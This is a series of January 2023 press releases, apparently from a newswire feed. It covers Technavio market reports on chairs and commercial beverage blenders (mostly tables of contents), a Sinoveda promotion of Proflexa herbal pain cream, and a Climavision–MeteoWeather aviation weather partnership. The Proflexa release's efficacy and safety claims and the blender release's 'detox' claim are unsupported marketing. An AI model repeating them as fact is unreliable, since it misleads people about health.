Exhibit 01: Executive Summary  Chart on Market Overview



Exhibit 02: Executive Summary  Data Table on Market Overview



Exhibit 03: Executive Summary  Chart on Global Market Characteristics



Exhibit 04: Executive Summary  Chart on Market by Geography



Exhibit 05: Executive Summary  Chart on Market Segmentation by Distribution Channel



Exhibit 06: Executive Summary  Chart on Market Segmentation by Type



Exhibit 07: Executive Summary  Chart on Incremental Growth



Exhibit 08: Executive Summary  Data Table on Incremental Growth



Exhibit 09: Executive Summary  Chart on Vendor Market Positioning

2 Market Landscape

2.1 Market ecosystem

Exhibit 10: Parent market



Exhibit 11: Market Characteristics

3 Market Sizing

3.1 Market definition

Exhibit 12: Offerings of vendors included in the market definition

3.2 Market segment analysis

Exhibit 13: Market segments

3.3 Market size 2022

3.4 Market outlook: Forecast for 2022-2027

Exhibit 14: Chart on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 15: Data Table on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 16: Chart on Global Market: Year-over-year growth 2022-2027 (%)



Exhibit 17: Data Table on Global Market: Year-over-year growth 2022-2027 (%)

4 Historic Market Size

4.1 Global chair market 2017 - 2021

Exhibit 18: Historic Market Size  Data Table on Global chair market 2017 - 2021 ($ million)

4.2 Distribution channel Segment Analysis 2017 - 2021

Exhibit 19: Historic Market Size  Distribution channel Segment 2017 - 2021 ($ million)

4.3 Type Segment Analysis 2017 - 2021

Exhibit 20: Historic Market Size  Type Segment 2017 - 2021 ($ million)

4.4 Geography Segment Analysis 2017 - 2021

Exhibit 21: Historic Market Size  Geography Segment 2017 - 2021 ($ million)

4.5 Country Segment Analysis 2017 - 2021

Exhibit 22: Historic Market Size  Country Segment 2017 - 2021 ($ million)

5 Market Share of Vendors

5.1 Market Share of Vendors 2021

Exhibit 23: Data table on Market share of vendors Market share of Vendors 2021

6 Five Forces Analysis

6.1 Five forces summary

Exhibit 24: Five forces analysis - Comparison between 2022 and 2027

6.2 Bargaining power of buyers

Exhibit 25: Chart on Bargaining power of buyers  Impact of key factors 2022 and 2027

6.3 Bargaining power of suppliers

Exhibit 26: Bargaining power of suppliers  Impact of key factors in 2022 and 2027

6.4 Threat of new entrants

Exhibit 27: Threat of new entrants  Impact of key factors in 2022 and 2027

6.5 Threat of substitutes

Exhibit 28: Threat of substitutes  Impact of key factors in 2022 and 2027

6.6 Threat of rivalry

Exhibit 29: Threat of rivalry  Impact of key factors in 2022 and 2027

6.7 Market condition

Exhibit 30: Chart on Market condition - Five forces 2022 and 2027

7 Market Segmentation by Distribution Channel

7.1 Market segments

Exhibit 31: Chart on Distribution Channel - Market share 2022-2027 (%)



Exhibit 32: Data Table on Distribution Channel - Market share 2022-2027 (%)

7.2 Comparison by Distribution Channel

Exhibit 33: Chart on Comparison by Distribution Channel



Exhibit 34: Data Table on Comparison by Distribution Channel

7.3 Offline - Market size and forecast 2022-2027

Exhibit 35: Chart on Offline - Market size and forecast 2022-2027 ($ million)



Exhibit 36: Data Table on Offline - Market size and forecast 2022-2027 ($ million)



Exhibit 37: Chart on Offline - Year-over-year growth 2022-2027 (%)



Exhibit 38: Data Table on Offline - Year-over-year growth 2022-2027 (%)

7.4 Online - Market size and forecast 2022-2027

Exhibit 39: Chart on Online - Market size and forecast 2022-2027 ($ million)



Exhibit 40: Data Table on Online - Market size and forecast 2022-2027 ($ million)



Exhibit 41: Chart on Online - Year-over-year growth 2022-2027 (%)



Exhibit 42: Data Table on Online - Year-over-year growth 2022-2027 (%)

7.5 Market opportunity by Distribution Channel

Exhibit 43: Market opportunity by Distribution Channel ($ million)

8 Market Segmentation by Type

8.1 Market segments

Exhibit 44: Chart on Type - Market share 2022-2027 (%)



Exhibit 45: Data Table on Type - Market share 2022-2027 (%)

8.2 Comparison by Type

Exhibit 46: Chart on Comparison by Type



Exhibit 47: Data Table on Comparison by Type

8.3 Regular use chairs - Market size and forecast 2022-2027

Exhibit 48: Chart on Regular use chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 49: Data Table on Regular use chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 50: Chart on Regular use chairs - Year-over-year growth 2022-2027 (%)



Exhibit 51: Data Table on Regular use chairs - Year-over-year growth 2022-2027 (%)

8.4 Office chairs - Market size and forecast 2022-2027

Exhibit 52: Chart on Office chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 53: Data Table on Office chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 54: Chart on Office chairs - Year-over-year growth 2022-2027 (%)



Exhibit 55: Data Table on Office chairs - Year-over-year growth 2022-2027 (%)

8.5 Massage chairs - Market size and forecast 2022-2027

Exhibit 56: Chart on Massage chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 57: Data Table on Massage chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 58: Chart on Massage chairs - Year-over-year growth 2022-2027 (%)



Exhibit 59: Data Table on Massage chairs - Year-over-year growth 2022-2027 (%)

8.6 Gaming chairs - Market size and forecast 2022-2027

Exhibit 60: Chart on Gaming chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 61: Data Table on Gaming chairs - Market size and forecast 2022-2027 ($ million)



Exhibit 62: Chart on Gaming chairs - Year-over-year growth 2022-2027 (%)



Exhibit 63: Data Table on Gaming chairs - Year-over-year growth 2022-2027 (%)

8.7 Others - Market size and forecast 2022-2027

Exhibit 64: Chart on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 65: Data Table on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 66: Chart on Others - Year-over-year growth 2022-2027 (%)



Exhibit 67: Data Table on Others - Year-over-year growth 2022-2027 (%)

8.8 Market opportunity by Type

Exhibit 68: Market opportunity by Type ($ million)

9 Customer Landscape

9.1 Customer landscape overview

Exhibit 69: Analysis of price sensitivity, lifecycle, customer purchase basket, adoption rates, and purchase criteria

10 Geographic Landscape

10.1 Geographic segmentation

Exhibit 70: Chart on Market share by geography 2022-2027 (%)



Exhibit 71: Data Table on Market share by geography 2022-2027 (%)

10.2 Geographic comparison

Exhibit 72: Chart on Geographic comparison



Exhibit 73: Data Table on Geographic comparison

10.3 APAC - Market size and forecast 2022-2027

Exhibit 74: Chart on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 75: Data Table on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 76: Chart on APAC - Year-over-year growth 2022-2027 (%)



Exhibit 77: Data Table on APAC - Year-over-year growth 2022-2027 (%)

10.4 North America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 78: Chart on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 79: Data Table on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 80: Chart on North America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 81: Data Table on North America - Year-over-year growth 2022-2027 (%)

10.5 Europe - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 82: Chart on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 83: Data Table on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 84: Chart on Europe - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 85: Data Table on Europe - Year-over-year growth 2022-2027 (%)

10.6 South America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 86: Chart on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 87: Data Table on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 88: Chart on South America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 89: Data Table on South America - Year-over-year growth 2022-2027 (%)

10.7 Middle East and Africa - Market size and forecast 2022-2027

and - Market size and forecast 2022-2027 Exhibit 90: Chart on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 91: Data Table on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 92: Chart on Middle East and Africa - Year-over-year growth 2022-2027 (%)

and - Year-over-year growth 2022-2027 (%)

Exhibit 93: Data Table on Middle East and Africa - Year-over-year growth 2022-2027 (%)

10.8 China - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 94: Chart on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 95: Data Table on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 96: Chart on China - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 97: Data Table on China - Year-over-year growth 2022-2027 (%)

10.9 US - Market size and forecast 2022-2027

Exhibit 98: Chart on US - Market size and forecast 2022-2027 ($ million)



Exhibit 99: Data Table on US - Market size and forecast 2022-2027 ($ million)



Exhibit 100: Chart on US - Year-over-year growth 2022-2027 (%)



Exhibit 101: Data Table on US - Year-over-year growth 2022-2027 (%)

10.10 Germany - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 102: Chart on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 103: Data Table on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 104: Chart on Germany - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 105: Data Table on Germany - Year-over-year growth 2022-2027 (%)

10.11 France - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 106: Chart on France - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 107: Data Table on France - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 108: Chart on France - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 109: Data Table on France - Year-over-year growth 2022-2027 (%)

10.12 UK - Market size and forecast 2022-2027

Exhibit 110: Chart on UK - Market size and forecast 2022-2027 ($ million)



Exhibit 111: Data Table on UK - Market size and forecast 2022-2027 ($ million)



Exhibit 112: Chart on UK - Year-over-year growth 2022-2027 (%)



Exhibit 113: Data Table on UK - Year-over-year growth 2022-2027 (%)

10.13 Market opportunity by geography

Exhibit 114: Market opportunity by geography ($ million)

11 Drivers, Challenges, and Trends

11.1 Market drivers

11.2 Market challenges

11.3 Impact of drivers and challenges

Exhibit 115: Impact of drivers and challenges in 2022 and 2027

11.4 Market trends

12 Vendor Landscape

12.1 Overview

12.2 Vendor landscape

Exhibit 116: Overview on Criticality of inputs and Factors of differentiation

12.3 Landscape disruption

Exhibit 117: Overview on factors of disruption

12.4 Industry risks

Exhibit 118: Impact of key risks on business

13 Vendor Analysis

13.1 Vendors covered

Exhibit 119: Vendors covered

13.2 Market positioning of vendors

Exhibit 120: Matrix on vendor position and classification

13.3 Ace Casual Furniture

Exhibit 121: Ace Casual Furniture - Overview



Exhibit 122: Ace Casual Furniture - Product / Service



Exhibit 123: Ace Casual Furniture - Key offerings

13.4 AKRacing America Inc.

Exhibit 124: AKRacing America Inc. - Overview



Exhibit 125: AKRacing America Inc. - Product / Service



Exhibit 126: AKRacing America Inc. - Key offerings

13.5 Arozzi North America

Exhibit 127: Arozzi North America - Overview



Exhibit 128: Arozzi North America - Product / Service



Exhibit 129: Arozzi North America - Key offerings

13.6 Bristol Technologies Sdn Bhd

Exhibit 130: Bristol Technologies Sdn Bhd - Overview



Exhibit 131: Bristol Technologies Sdn Bhd - Product / Service



Exhibit 132: Bristol Technologies Sdn Bhd - Key offerings

13.7 Corsair Gaming Inc.

Exhibit 133: Corsair Gaming Inc. - Overview



Exhibit 134: Corsair Gaming Inc. - Business segments



Exhibit 135: Corsair Gaming Inc. - Key news



Exhibit 136: Corsair Gaming Inc. - Key offerings



Exhibit 137: Corsair Gaming Inc. - Segment focus

13.8 Haworth Inc.

Exhibit 138: Haworth Inc. - Overview



Exhibit 139: Haworth Inc. - Product / Service



Exhibit 140: Haworth Inc. - Key offerings

13.9 HNI Corp.

Exhibit 141: HNI Corp. - Overview



Exhibit 142: HNI Corp. - Business segments



Exhibit 143: HNI Corp. - Key news



Exhibit 144: HNI Corp. - Key offerings



Exhibit 145: HNI Corp. - Segment focus

13.10 Kimball International Inc.

Exhibit 146: Kimball International Inc. - Overview



Exhibit 147: Kimball International Inc. - Business segments



Exhibit 148: Kimball International Inc. - Key offerings



Exhibit 149: Kimball International Inc. - Segment focus

13.11 MillerKnoll Inc.

Exhibit 150: MillerKnoll Inc. - Overview



Exhibit 151: MillerKnoll Inc. - Business segments



Exhibit 152: MillerKnoll Inc. - Key offerings



Exhibit 153: MillerKnoll Inc. - Segment focus

13.12 Okamura Corp.

Exhibit 154: Okamura Corp. - Overview



Exhibit 155: Okamura Corp. - Business segments



Exhibit 156: Okamura Corp. - Key offerings



Exhibit 157: Okamura Corp. - Segment focus

13.13 Steelcase Inc.

Exhibit 158: Steelcase Inc. - Overview



Exhibit 159: Steelcase Inc. - Business segments



Exhibit 160: Steelcase Inc. - Key offerings



Exhibit 161: Steelcase Inc. - Segment focus

13.14 Thermaltake Technology Co. Ltd.

Exhibit 162: Thermaltake Technology Co. Ltd. - Overview



Exhibit 163: Thermaltake Technology Co. Ltd. - Product / Service



Exhibit 164: Thermaltake Technology Co. Ltd. - Key offerings

13.15 ThunderX3

Exhibit 165: ThunderX3 - Overview



Exhibit 166: ThunderX3 - Product / Service



Exhibit 167: ThunderX3 - Key offerings

13.16 TOPSTAR GmbH

Exhibit 168: TOPSTAR GmbH - Overview



Exhibit 169: TOPSTAR GmbH - Product / Service



Exhibit 170: TOPSTAR GmbH - Key offerings

13.17 True Innovations

Exhibit 171: True Innovations - Overview



Exhibit 172: True Innovations - Product / Service



Exhibit 173: True Innovations - Key offerings

14 Appendix

14.1 Scope of the report

14.2 Inclusions and exclusions checklist

Exhibit 174: Inclusions checklist



Exhibit 175: Exclusions checklist

14.3 Currency conversion rates for US$

Exhibit 176: Currency conversion rates for US$

14.4 Research methodology

Exhibit 177: Research methodology



Exhibit 178: Validation techniques employed for market sizing



Exhibit 179: Information sources

14.5 List of abbreviations

Exhibit 180: List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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SOURCE Technavio
The Potent Natural Topical Quickly, Safely, and Effectively Relieves Many of the Muscular and Joint-Related Pains That Young Parents Face

FORT LAUDERDALE, Fla., Jan. 24, 2023 /PRNewswire/ -- The shift to parenthood can be intense. The mind, body, and soul must adjust to the sudden demand of being relied upon around the clock by another human being. One area that tends to quietly cause a significant amount of strain is the need to hold a baby for hours throughout the day.

Baby carrier brand Tushbaby points out that the pain of carrying a child can come from picking them up incorrectly, carrying them on the hip, and using a carrier poorly. Parenting site What to Expect adds that this pain can manifest in the back, shoulders, arms, wrists, and even the thumb . The New York Times highlights other factors that lead to this " repetitive stress " on a new parent's body, such as holding a child the entire time they're being fed.

The recurring nature of this common parenting pain leads many young mothers and fathers to look for an effective, non-aggressive solution. "Many informed young adults don't want to be taking NSAIDs like ibuprofen and aspirin on a daily basis," says Dr. Nuzhat Tam-Zaman, co-founder of the groundbreaking health brand Sinoveda. Tam-Zaman adds that there are many health risks associated with the persistent use of stronger anti-inflammatory pain relievers. "We knew there was a way to provide an easier avenue to pain relief without exchanging it for long-term health concerns. That's why we came up with Proflexa."

Proflexa is a topical cream for muscle and joint pain that combines seven ancient Chinese herbs in a uniquely potent and effective pain relief formula that boosts blood flow and reduces inflammation. "Proflexa was created using our proprietary PPT approach to product creation," explains Tam-Zaman, "The approach utilizes the precision of Western science, applying it to the ancient wisdom of Eastern medicine. We break down specifically what parts of these botanical elements help with healing, isolate those compounds, and then combine them in precise, formulaic doses to create predictable, steady results." Company surveys have found that 90% of customers reported that Proflexa was able to deliver on its promise of both fast-acting and long-term pain relief.

Most parents struggle with physical pain on some level as they care for their newborns and infants. Proflexa offers a safe, natural, and extremely effective way to manage that pain on a daily basis without resorting to stronger, potentially dangerous pain-relief solutions.

About Sinoveda

The name "Sinoveda" is derived from Chinese and Bangladeshi, the two cultures of the company's founders, renowned pharmaceutical scientists and spouses Dr. Yun K. Tam and Dr. Nuzhat Tam-Zaman. Sinoveda was founded in 2006 and is based in Edmonton, Alberta. The health-science company utilizes its founders' 50-plus years of combined experience in drug development to focus on R&D and further pharmaceutical progress, primarily through its proprietary vanguard PPT (Pharmaceutical Platform Technology). Learn more at sinoveda.com .

KENDAL SCOTT

Marketing & Administrative Assistant

O (780) 466-0086 | C (780) 394-3538

[email protected]

SOURCE Sinoveda
Collaboration Brings a New Generation of Aviation Weather Technology to the Middle East

LOUISVILLE, Ky. , Jan. 24, 2023 /PRNewswire/ -- Climavision, a weather tech company that is leveraging high-resolution radar in the US and satellites to fill existing coverage gaps, today announced it has entered into a partnership with MeteoWeather, the leading climate tech company in MENA, specializing in weather intelligence and climate-security services. Under terms of the agreement, the two companies will collaborate on sales and marketing activities to airports and aviation companies in the Middle East.

The joint activities will focus specifically on providing access to Climavision's Global Radio-Occultation and Observation (GRO) forecast model, optimized to output data on all 128 vertical levels (versus the reduced resolution output of other global models, which can be as few as 40 levels). The GRO model significantly improves fuel performance, safety, and efficiency for daily airline operations and offers seamless integration into business aviation and airlines' Flight Management System (FMS).

MeteoWeather will have access to Climavision's global and regional predictive models, leveraging its unique third-party datasets, and aviation-specific modeling capabilities. MeteoWeather's many strong relationships in the aviation community in the region will ensure these solutions will be available to airlines and airports there, as the Middle Eastern aviation market experiences a tremendous growth period with new airports and infrastructure development as part of the Vision 2030 initiative in Saudi Arabia.

"Climavision is mindful that sustainability and efforts to hit net zero emissions are top priorities for the aviation industry," said Chris Goode, CEO, Climavision. "Cutting-edge weather tech solutions like our aviation specific GRO Forecast Model will help the Middle Eastern aviation community to be significantly better positioned in this area. This will allow airlines and business aviation companies to use our joint solutions to achieve more accurate flight plans, optimize their fuel burn and reduce C02 emissions, and help promote sustainability."

"The Middle East is now a major player in climate change initiatives and policies," said Mohammed Al Shaker, CEO of MeteoWeather. "Saudi Arabia has launched initiatives such as the Saudi and Middle East Green initiatives and we are excited to partner with Climavision to bring decarbonization and climate offerings to the aviation industry in the region. MeteoWeather is always developing and enhancing intelligent climate systems that enhance climate safety for enterprises, including airports and airlines, in their efforts to adapt to the climate."

Climavision is well positioned to be a key disruptor in its efforts to enhance aviation weather around the world, leveraging its proprietary high-resolution network of radars and global forecast models infused with novel satellite-based data.

About MeteoWeather

MeteoWeather is the first and the leading climate tech company in MENA, specializing in weather intelligence and climate-security services, empowering decision-making for various industries, built on top of innovative AI-based technology. We provide climate decision-support solutions to entities, including sectors that are enormously affected by the weather or climate. These sophisticated decision-support solutions help entities to become more climate-adapted entities. To learn more, visit https://www.meteoweather.global

About Climavision

Climavision brings together the power of a proprietary, high-resolution weather radar and satellite network combined with advanced weather prediction modelling and decades of industry expertise to reduce existing coverage gaps and drastically improve forecast ability. Climavision's revolutionary new approach to climate technology weather solutions helps reduce the economic risks of climate change on companies, governments, and societies alike. Climavision is backed by The Rise Fund, the world's largest global impact platform committed to achieving measurable, positive social and environmental outcomes alongside competitive financial returns. The company is headquartered in Louisville, KY, with research and development operations in Raleigh, NC. To learn more, visit www.Climavision.com

SOURCE MeteoWeather
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- According to Technavio, the global commercial beverage blender market size is estimated to grow by USD 12.72 million from 2022 to 2027. The market is expected to grow at a CAGR of 3.14%. Moreover, the growth momentum will accelerate. North America will account for 34% of the growth of the global market during the forecast period.

For more Insights on market size Request a sample report

Technavio has announced its latest market research report titled Global Commercial Beverage Blender Market 2023-2027

Global commercial beverage blender market - Five forces

The global commercial beverage blender market is fragmented, and the five forces analysis covers

Bargaining Power of Buyers

The threat of New Entrants

Threat of Rivalry

Bargaining Power of Suppliers

Threat of Substitutes

Interpretation of porter's five models helps to strategize the business, for entire details  buy the report!

Global commercial beverage blender market  Customer landscape

The report includes the market's adoption lifecycle, from the innovator's stage to the laggard's stage. It focuses on adoption rates in different regions based on penetration. Furthermore, the report also includes key purchase criteria and drivers of price sensitivity to help companies evaluate and develop their growth strategies.

Global commercial beverage blender market - Segmentation assessment

Segment overview

Technavio has segmented the market based on end-user (JCP, restaurants, and others) and distribution channels (offline and online).

The JCP segment will grow at a significant rate during the forecast period. Growing health benefits offered by various types of blended beverages, such as smoothies, will increase demand for such beverages and encourage juice bars, clubs, and pubs (JCP) to offer such beverages. Juices and smoothies also contribute majorly to the frozen beverage market in various countries. The revenue generated from the juice bar industry is increasing in various countries such as the UK and Australia . Hence, the increased sales from end-user establishments will drive the growth in demand for commercial beverage blenders during the forecast period.

Geography Overview

By geography, the global commercial beverage blender market is segmented into North America, Europe, APAC, South America, and Middle East and Africa. The report provides actionable insights and estimates the contribution of all regions to the growth of the global commercial beverage blender market.

North America is estimated to account for 34% of the growth of the global market during the forecast period. The commercial beverage blender market in North America is expected to grow during the forecast period. The US and Canada are key countries contributing to the growth of the commercial beverage blender market in the region. Restaurants in the United States are growing their demand for frozen and slushy coffee drinks, which comprise numerous sorts of blended beverages. The increase in the sales of frozen blended beverages in the region can also influence the growth in demand for commercial beverage blenders during the forecast period.

Download a Sample Report

Global commercial beverage blender market  Market dynamics

Key factor driving market growth

The health benefits of different kinds of smoothies may increase per capita consumption during the projection period, resulting in increased demand for commercial beverage blenders.

Citrus fruit smoothies contain vitamin C, which supports the immune system and aids in the production of collagen, which is necessary for the suppleness and smoothness of human skin.

The highly nutritious ingredients contained in blended beverages help consumers detox their systems and get rid of toxins.

Hence, the growing health benefits offered by blended beverages will spur the sales of such beverages from food service establishments during the forecast period.

Leading trends influencing the market

The growing preference for commercial beverage blenders with noiseless operations is an emerging trend in the market.

Commercial beverage blender manufacturers are attempting to provide equipment with advanced functionality in order to improve the consumer experience in food service operations.

Higher noise levels in food service facilities can have an adverse effect on the customer experience as well as prospective sales of blended beverages from food service outlets.

Some of the vendors that offer commercial beverage blenders with noise-reduction technology are Blendtec, Hamilton Beach Brands, and Vita-Mix Corp. (Vita-Mix).

Major challenges hindering market growth

The growing demand for second-hand commercial beverage blenders is a major challenge impeding the market growth.

End-users prefer to purchase pre-used commercial beverage blenders to save on the cost of purchasing expensive equipment.

Many small and medium-sized food service enterprises and price-sensitive end-users prefer pre-used commercial beverage blenders to reduce the initial expenditure required to introduce or extend their blended beverage services, particularly in developing nations.

Furthermore, the growing market for pre-used commercial beverage blenders is expected to affect the potential growth prospects of the global commercial beverage blender market during the forecast period.

Drivers, trends, and challenges have an impact on market dynamics, which can impact businesses. Find more insights in a sample report!

What are the key data covered in this commercial beverage blender market report?

CAGR of the market during the forecast period

Detailed information on factors that will drive the growth of the commercial beverage blender market between 2023 and 2027

Precise estimation of the commercial beverage blender market size and its contribution to the market in focus on the parent market

Accurate predictions about upcoming trends and changes in consumer behavior

Growth of the commercial beverage blender industry across North America , Europe , APAC, South America , and Middle East and Africa

, , APAC, , and and A thorough analysis of the market's competitive landscape and detailed information about vendors

Comprehensive analysis of factors that will challenge the growth of commercial beverage blender market vendors

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Related Reports:

The commercial jar blender market share is expected to increase by USD 63.88 million from 2020 to 2025, and the market's growth momentum will accelerate at a CAGR of 3.64%. Furthermore, this report extensively covers commercial jar blender market segmentation by product (commercial jar blenders for food, commercial jar blenders for drinks, and commercial jar blenders for food and drinks) and geography (North America, Europe, APAC, South America, and MEA).

This household kitchen blenders market share is expected to increase by USD 781.62 million from 2020 to 2025, and the market's growth momentum will accelerate at a CAGR of 5.70%. Furthermore, this report extensively covers household kitchen blenders market segmentation by product (countertop blenders and immersion blenders), distribution channel (offline and online), and geography (North America, APAC, Europe, South America, and MEA).

Commercial Beverage Blender Market Scope

Report Coverage Details Page number 170 Base year 2022 Historic period 2017-2021 Forecast period 2023-2027 Growth momentum & CAGR Accelerate at a CAGR of 3.14% Market growth 2023-2027 USD 12.72 million Market structure Fragmented YoY growth 2022-2023 (%) 2.99 Regional analysis North America, Europe, APAC, South America, and Middle East and Africa Performing market contribution North America at 34% Key countries US, China, Japan, Germany, and UK Competitive landscape Leading Vendors, Market Positioning of Vendors, Competitive Strategies, and Industry Risks Key companies profiled bianco di puro GmbH and Co. KG, Blendtec Inc., Breville USA Inc., Brew Driver, Conair Corp., GEA Group AG, Hamilton Beach Brands Holding Co., Newell Brands Inc., Omcan Inc., Optimum Appliances, Philips International BV, Quamar Srl, Sammic SL, SANTOS SAS, Skyfood Equipment LLC, Stanley Black and Decker Inc., Stoelting Foodservice Equipment, Tetra Laval S.A., Vita-Mix Corp., and Whirlpool Corp. Market dynamics Parent market analysis, Market growth inducers and obstacles, Fast-growing and slow-growing segment analysis, COVID-19 impact and recovery analysis and future consumer dynamics, and Market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized.

Table of Contents:

1 Executive Summary

1.1 Market Overview

Exhibit 01: Executive Summary  Chart on Market Overview



Exhibit 02: Executive Summary  Data Table on Market Overview



Exhibit 03: Executive Summary  Chart on Global Market Characteristics



Exhibit 04: Executive Summary  Chart on Market by Geography



Exhibit 05: Executive Summary  Chart on Market Segmentation by End-user



Exhibit 06: Executive Summary  Chart on Market Segmentation by Distribution Channel



Exhibit 07: Executive Summary  Chart on Incremental Growth



Exhibit 08: Executive Summary  Data Table on Incremental Growth



Exhibit 09: Executive Summary  Chart on Vendor Market Positioning

2 Market Landscape

2.1 Market ecosystem

Exhibit 10: Parent market



Exhibit 11: Market Characteristics

3 Market Sizing

3.1 Market Definition

Exhibit 12: Offerings of vendors included in the market definition

3.2 Market segment analysis

Exhibit 13: Market segments

3.3 Market size 2022

3.4 Market outlook: Forecast for 2022-2027

Exhibit 14: Chart on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 15: Data Table on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 16: Chart on Global Market: Year-over-year growth 2022-2027 (%)



Exhibit 17: Data Table on Global Market: Year-over-year growth 2022-2027 (%)

4 Historic Market Size

4.1 Global commercial beverage blender market 2017 - 2021

Exhibit 18: Historic Market Size  Data Table on Global commercial beverage blender market 2017 - 2021 ($ million)

4.2 End-user Segment Analysis 2017 - 2021

Exhibit 19: Historic Market Size  End-user Segment 2017 - 2021 ($ million)

4.3 Distribution channel Segment Analysis 2017 - 2021

Exhibit 20: Historic Market Size  Distribution channel Segment 2017 - 2021 ($ million)

4.4 Geography Segment Analysis 2017 - 2021

Exhibit 21: Historic Market Size  Geography Segment 2017 - 2021 ($ million)

4.5 Country Segment Analysis 2017 - 2021

Exhibit 22: Historic Market Size  Country Segment 2017 - 2021 ($ million)

5 Five Forces Analysis

5.1 Five forces summary

Exhibit 23: Five forces analysis - Comparison between 2022 and 2027

5.2 Bargaining power of buyers

Exhibit 24: Chart on Bargaining power of buyers  Impact of key factors 2022 and 2027

5.3 Bargaining power of suppliers

Exhibit 25: Bargaining power of suppliers  Impact of key factors in 2022 and 2027

5.4 Threat of new entrants

Exhibit 26: Threat of new entrants  Impact of key factors in 2022 and 2027

5.5 Threat of substitutes

Exhibit 27: Threat of substitutes  Impact of key factors in 2022 and 2027

5.6 Threat of rivalry

Exhibit 28: Threat of rivalry  Impact of key factors in 2022 and 2027

5.7 Market condition

Exhibit 29: Chart on Market condition - Five forces 2022 and 2027

6 Market Segmentation by End-user

6.1 Market segments

Exhibit 30: Chart on End-user - Market share 2022-2027 (%)



Exhibit 31: Data Table on End-user - Market share 2022-2027 (%)

6.2 Comparison by End-user

Exhibit 32: Chart on Comparison by End-user



Exhibit 33: Data Table on Comparison by End-user

6.3 JCP - Market size and forecast 2022-2027

Exhibit 34: Chart on JCP - Market size and forecast 2022-2027 ($ million)



Exhibit 35: Data Table on JCP - Market size and forecast 2022-2027 ($ million)



Exhibit 36: Chart on JCP - Year-over-year growth 2022-2027 (%)



Exhibit 37: Data Table on JCP - Year-over-year growth 2022-2027 (%)

6.4 Restaurants - Market size and forecast 2022-2027

Exhibit 38: Chart on Restaurants - Market size and forecast 2022-2027 ($ million)



Exhibit 39: Data Table on Restaurants - Market size and forecast 2022-2027 ($ million)



Exhibit 40: Chart on Restaurants - Year-over-year growth 2022-2027 (%)



Exhibit 41: Data Table on Restaurants - Year-over-year growth 2022-2027 (%)

6.5 Others - Market size and forecast 2022-2027

Exhibit 42: Chart on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 43: Data Table on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 44: Chart on Others - Year-over-year growth 2022-2027 (%)



Exhibit 45: Data Table on Others - Year-over-year growth 2022-2027 (%)

6.6 Market opportunity by End-user

Exhibit 46: Market opportunity by End-user ($ million)

7 Market Segmentation by Distribution Channel

7.1 Market segments

Exhibit 47: Chart on Distribution Channel - Market share 2022-2027 (%)



Exhibit 48: Data Table on Distribution Channel - Market share 2022-2027 (%)

7.2 Comparison by Distribution Channel

Exhibit 49: Chart on Comparison by Distribution Channel



Exhibit 50: Data Table on Comparison by Distribution Channel

7.3 Offline - Market size and forecast 2022-2027

Exhibit 51: Chart on Offline - Market size and forecast 2022-2027 ($ million)



Exhibit 52: Data Table on Offline - Market size and forecast 2022-2027 ($ million)



